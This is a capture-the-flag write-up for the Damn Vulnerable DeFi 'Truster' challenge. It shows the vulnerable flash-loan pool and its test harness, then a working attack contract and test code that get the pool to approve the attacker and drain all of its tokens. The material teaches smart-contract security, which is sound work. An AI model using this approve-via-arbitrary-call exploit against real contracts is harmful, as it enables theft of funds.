Damn Vulnerable DeFi - Truster Solution & Explain

Damn Vulnerable DeFi - Truster Solution & Explain

Let's dive into the explanation and solution of Damn Vulnerable DeFi's Truster challenge!

⚠️
Please note that this contains spoilers, so if you haven't tried it yet, don't read on!

Problem Overview

Here's the link to the Damn Vulnerable DeFi Truster challenge!

Let's take a look at the problem right away!

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

This is the content of the problem.

Here, incredibly, you have to steal all 1 million DVT tokens held by the pool without having a single token! And if possible, do it in a single transaction... It's a tough challenge, but if you calmly check the content, you can find the answer.

So, let's take a look at the code!

Code Details

TrusterLenderPool.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable token;

    error RepayFailed();

    constructor(DamnValuableToken _token) {
        token = _token;
    }

    function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }
}

test

const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Truster', function () {
    let deployer, player;
    let token, pool;

    const TOKENS_IN_POOL = 1000000n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();

        token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
        pool = await (await ethers.getContractFactory('TrusterLenderPool', deployer)).deploy(token.address);
        expect(await pool.token()).to.eq(token.address);

        await token.transfer(pool.address, TOKENS_IN_POOL);
        expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);

        expect(await token.balanceOf(player.address)).to.equal(0);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // Player has taken all tokens from the pool
        expect(
            await token.balanceOf(player.address)
        ).to.equal(TOKENS_IN_POOL);
        expect(
            await token.balanceOf(pool.address)
        ).to.equal(0);
    });
});

Looking at the content of the problem earlier, the success conditions are as follows:

after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
    await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
    await token.balanceOf(pool.address)
).to.equal(0);
});

The player holds all the tokens that were in the pool.
The pool's tokens are zero.
These are the victory conditions. There's not much here that hints at a solution, so let's explore the actual codebase to find a hackable spot!

Thinking About the Attack

So how can the Player, who doesn't even have a token, steal all the tokens in the pool?

This time, there's only one place to focus on, so let's explain it in detail.

function flashLoan(
    uint256 amount,
    address borrower,
    address target,
    bytes calldata data
) external nonReentrant returns (bool) {
    // プール内のトークン残高を確認
    uint256 balanceBefore = token.balanceOf(address(this));
    // borrowerにamount分のトークンを送金
    token.transfer(borrower, amount);
    // targetのfunctionCallを実行
    target.functionCall(data);
    // 実行前のトークン残高よりも少ない場合は失敗
    if (token.balanceOf(address(this)) < balanceBefore)
        revert RepayFailed();

    return true;
}

The point here is the functionCall. Before and after this, it's a flash loan, and if you don't return all the borrowed tokens, the transaction will fail.

So, it seems there's only one chance.

But what can we do to make the hack successful?

This time, since we can freely execute the function of the address we specified (target) with functionCall(data), we can easily steal money if we do something.

Moreover, this function can be executed even if you don't have any tokens, so you can attack as much as you want. Let's take a look at the actual attack!

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";

contract TrusterLenderPoolAttack {
    /// @param _pool Address of the TrusterLenderPool
    /// @param _token Address of the DamnValuableToken
    function attack(address _pool, address _token) external {
        // Create data to execute token.approve(address(this), type(uint256).max)
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            type(uint256).max
        );
        // Execute flashLoan in TrusterLenderPool
        TrusterLenderPool(_pool).flashLoan(
            0, // Zero or anything is fine
            _pool,
            _token,
            data
        );
        // Receive the tokens from _pool since it's now approved
        DamnValuableToken(_token).transferFrom(
            _pool,
            msg.sender,
            DamnValuableToken(_token).balanceOf(_pool)
        );
    }
}

The steps taken are as follows:

  1. Create an attack contract.
  2. Create and execute data to move tokens within the pool's contract using approve.
  3. Send the tokens to the Player after the flashLoan.

This way, all the tokens can be taken from the pool in a single transaction. It's surprisingly simple!

The test ends with the following two lines:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    attack = await (await ethers.getContractFactory('TrusterLenderPoolAttack', player)).deploy();
    await attack.connect(player).attack(pool.address, token.address);
});

For multiple transactions, you can test as follows:

  1. Create data for executing approve.
  2. Execute the flashLoan.
  3. Send the tokens from the pool to the Player.
it('Execution', async function () {
    // Create data
    const ABI = ['function approve(address spender, uint256 amount)'];
    const iface = new ethers.utils.Interface(ABI);
    const data = iface.encodeFunctionData('approve', [player.address, ethers.constants.MaxUint256]);
    // Execute the flashLoan
    await pool.flashLoan(0, pool.address, token.address, data);
    // Player withdraws tokens from the pool
    await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});

By launching such an attack, the contract can be easily hacked. So, if you understand each step calmly and surely, you can solve the problem!